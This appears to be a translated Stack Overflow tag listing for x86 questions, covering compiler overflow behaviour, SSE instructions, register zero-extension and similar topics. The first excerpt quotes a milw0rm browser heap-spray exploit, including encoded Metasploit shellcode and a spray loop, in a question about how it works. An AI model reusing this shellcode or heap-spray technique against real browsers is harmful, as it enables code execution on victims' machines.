Questions tagged «x86»

x86是派生自Intel 8086 CPU的体系结构。x86系列包括32位IA-32和64位x86-64架构,以及传统的16位架构。关于后者的问题应标记为[x86-16]和/或[emu8086]。如果您的问题特定于64位x86-64,请使用[x86-64]标记。对于x86 FPU,使用标签[x87]。对于SSE1 / 2/3/4 / AVX *,也请使用[sse],以及适用的[avx] / [avx2] / [avx512]中的任何一个


7
这种milw0rm堆喷利用如何工作?
我通常没有阅读JavaScript代码的困难,但是对于这一点,我无法弄清楚逻辑。该代码来自4天前发布的漏洞利用程序。您可以在milw0rm上找到它。 这是代码: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory …



6
为什么带有GCC的x86上的整数溢出会导致无限循环?
以下代码在GCC上进入了无限循环: #include <iostream> using namespace std; int main(){ int i = 0x10000000; int c = 0; do{ c++; i += i; cout << i << endl; }while (i > 0); cout << c << endl; return 0; } 所以这是要解决的问题:有符号整数溢出在技术上是未定义的行为。但是x86上的GCC使用x86整数指令实现了整数算术-溢出会自动换行。 因此,尽管它是未定义的行为,但我希望它能溢出。但这显然不是事实。那我想念什么? 我使用以下代码编译了此代码: ~/Desktop$ g++ main.cpp -O2 GCC输出: ~/Desktop$ ./a.out 536870912 1073741824 …
129 c++  c  gcc  x86  undefined-behavior 

3
x86中“非临时”内存访问的含义是什么
这是一个有点低级的问题。在x86汇编中,有两个SSE指令: MOVDQA xmmi, m128 和 MOVNTDQA xmmi, m128 IA-32软件开发人员手册指出 MOVNTDQA NT代表非临时性,否则与MOVDQA相同。 我的问题是 非临时性是什么意思?
123 x86  sse  assembly 




8
`testl` eax对抗eax?
我试图了解一些汇编。 汇编如下,我对这testl一行感兴趣: 000319df 8b4508 movl 0x08(%ebp), %eax 000319e2 8b4004 movl 0x04(%eax), %eax 000319e5 85c0 testl %eax, %eax 000319e7 7407 je 0x000319f0 我想了解testl介于%eax和之间的那一点%eax。我认为这段代码的具体内容并不重要,我只是想了解自身的测试-价值不总是真实的吗?

3
为什么32位寄存器上的x86-64指令将整个64位寄存器的高位归零?
在x86-64英特尔手册之旅中,我阅读了 也许最令人惊讶的事实是诸如MOV EAX, EBX自动将RAX寄存器的高32位清零的指令。 同一来源引用的英特尔文档(手动基本体系结构中的3.4.1.1通用寄存器在64位模式下)告诉我们: 64位操作数在目标通用寄存器中生成64位结果。 32位操作数生成32位结果,并将其零扩展到目标通用寄存器中的64位结果。 8位和16位操作数生成8位或16位结果。目的通用寄存器的高56位或高48位(分别)不会被该操作修改。如果8位或16位运算的结果打算用于64位地址计算,则将寄存器显式符号扩展为完整的64位。 在x86-32和x86-64汇编中,16位指令例如 mov ax, bx 不要显示eax的高位字为零的这种“奇怪”行为。 因此:引入此行为的原因是什么?乍一看似乎是不合逻辑的(但是原因可能是我已经习惯了x86-32程序的怪癖)。

11
如何在Ubuntu 14.04 LTS(Trusty Tahr)中安装ia32-libs
我昨天安装了Ubuntu 14.04(Trusty Tahr)。一切似乎都还可以。但是,当我尝试编译一些C代码时,遇到以下错误。该错误似乎是由于操作系统缺少32位体系结构支持所致。错误输出如下: /usr/bin/ld: i386 architecture of input file `./libsc.a(ftl_msg.o)' is incompatible with i386:x86-64 output /usr/bin/ld: i386 architecture of input file `./libsc.a(libsc_debug.o)' is incompatible with i386:x86-64 output /usr/bin/ld: i386 architecture of input file `./libsc.a(libsc_str.o)' is incompatible with i386:x86-64 output /usr/bin/ld: i386 architecture of input file `./libsc.a(libsc_cfg_common.o)' is incompatible with i386:x86-64 …
115 ubuntu  x86 

6
为什么SSE标量sqrt(x)比rsqrt(x)* x慢?
我一直在Intel Core Duo上进行一些核心数学分析,在查看各种平方根方法时,我注意到了一些奇怪的事情:使用SSE标量运算,倒数平方根乘以它会更快获取sqrt,而不是使用本机sqrt操作码! 我正在用类似这样的循环进行测试: inline float TestSqrtFunction( float in ); void TestFunc() { #define ARRAYSIZE 4096 #define NUMITERS 16386 float flIn[ ARRAYSIZE ]; // filled with random numbers ( 0 .. 2^22 ) float flOut [ ARRAYSIZE ]; // filled with 0 to force fetch into L1 cache cyclecounter.Start(); for …

10
为什么x86丑陋?与其他人相比为什么被认为是次等的?[关闭]
按照目前的情况,这个问题不适合我们的问答形式。我们希望答案会得到事实,参考或专业知识的支持,但是这个问题可能会引起辩论,争论,民意调查或扩展讨论。如果您认为此问题可以解决并且可以重新提出,请访问帮助中心以获取指导。 8年前关闭。 最近,我一直在阅读一些SO档案,并遇到了针对x86体系结构的声明。 为什么我们需要针对服务器,小型/大型机和混合核的不同CPU体系结构?他说: “ PC体系结构是一团糟,任何OS开发人员都会告诉你。 ” 学习汇编语言值得吗?(已存档)说: “意识到x86架构充其量是可怕的 ” 有什么简单的方法来学习x86汇编程序?表示: “ 大多数大学都在MIPS之类的课程上教授汇编语言,因为它更容易理解,x86汇编确实很难看。 ” 还有更多评论,例如 “与大多数体系结构相比,X86非常糟糕。” “ X86不如MIPS,SPARC和PowerPC,这绝对是传统观念 ” “ x86很丑 ” 我尝试搜索,但没有找到任何原因。我认为x86不错,可能是因为这是我所熟悉的唯一体系结构。 有人可以给我理由比其他人考虑x86丑/坏/劣等。

15
System.BadImageFormatException:无法加载文件或程序集(从installutil.exe)
我正在尝试使用InstallUtil.exe安装Windows服务,并收到错误消息 System.BadImageFormatException:无法加载文件或程序集“ {xxx.exe}”或其依赖项之一。试图加载格式错误的程序。 是什么赋予了? 编辑:(不是由OP)从dup中提取的完整消息越来越多的命中[用于谷歌搜索]: C:\ Windows \ Microsoft.NET \ Framework64 \ v4.0.30319> InstallUtil.exe C:\ xxx.exe Microsoft(R).NET Framework安装实用程序4.0.30319.1版权所有(c)Microsoft Corporation。版权所有。 初始化安装时发生异常:System.BadImageFormatException:无法加载文件或程序集'file:/// C:\ xxx.exe'或其依赖项之一。试图加载格式不正确的程序。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.